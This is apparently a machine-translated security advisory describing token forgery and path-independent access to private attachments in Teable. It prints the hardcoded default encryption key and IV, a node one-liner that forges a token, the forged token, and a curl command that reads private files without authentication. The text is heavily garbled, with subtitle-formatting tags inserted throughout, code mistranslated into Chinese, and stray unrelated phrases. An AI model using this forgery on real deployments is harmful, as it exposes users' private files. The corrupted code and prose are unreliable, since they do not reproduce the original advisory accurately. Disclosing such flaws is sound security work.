#3624·teable

附件 Token Forgery + 路径不可知访问

作者: AAtomical创建于 2026年8月6日更新于 2026年8月6日

□ 总结

Teable的本地存储附件符号('/api/attachments/read/:path (*)')只包含 QQ expiresDate, respheaders * ——没有文件路径,没有桶,没有用户绑定. 为文件 A 签发的令牌允许访问存储目录中的任何文件 B 。

加密密钥默认为硬编码值(`73b00476e456323e',IV'8c9183e4c175f63c',AES-128-CBC)。 无法覆盖“ BACKEND STORAGE ENCRYPTION KEY” 的自办实例允许未经认证的签名作假。

□ 根源

zz
//托肯有效载荷——无路径场
接口 ITokenEncryptor {
过期日期:数目;
回信头?
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?

// 核查——只检查过期,不要求路径
校验ReadToken( token: string) {
cont {已过期 Date, respheaders}} = this. expireToken Encryptor.decrypt( token) ;
如果(过期时间 > 0 + * 数学底( Date.now() / 1000) > 过期时间) 抛出.;
返回 { respheaders } ;
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?

□ 剥削

{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢? {\fn方正粗倩简体\fs12\an8\1cHFFFF00\b0}用默认的密钥来换个永无止境的标志: 节点 - e " crypto = 需要('crypto'); c = c 创建 Ciperiv ('aes-128-cbc','73b00476e456323e','8c9183e4c175f63c'); 3. process.stdout.write(c.update (JSON.stringify ({exiresDate: 1})),'utf-8','hex')+c.final ('hex')); " (中文(简体) ).

fa0d33eb58102072b53034a345a22b4cea4a09d1e2310c3a74ee6a4cb920a742

不认证读取任何私有附件 :

卷曲"http://3:00/api/attachments/read/private/table/?token=fa0d33eb58102072b53034a345a22b4cea4a09d1e2310c3a74ee6a4cb920a742" 页面存档备份,存于互联网档案馆.


□再生 (Docker-编).

{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
Docker 编曲 - d # 以默认.env(无后端 STORAGE ENCRYPTION KEY)开始可通.
bash explain.sh #报到 上传私人文件 用伪造的代币,0 auth读回.

输出 : <img宽="758"高="263" alt="image" src="https://GitHub.com/user-attachments/assets/f66d25d1-ae15-4878-bc8c-e2cff219291e"/".

□ 影响

  1. ** 伪造** (未证实的、默认的密钥部署):所有已储存的私人附件的全无认证读取
  2. token再利用 (自动攻击者):任何有效的信使读取其他用户的私人附件——信使没有路径绑定

□ 修补

  • 将象征性有效载荷绑入具体文件路径:在 " ITokenEncryptor " 中包括 " bucket " + " path " ,并在读取时加以核实
  • 删除硬码默认密钥 —— 需要明确配置或在第一个启动时生成随机密钥

内容来源: teableio/teable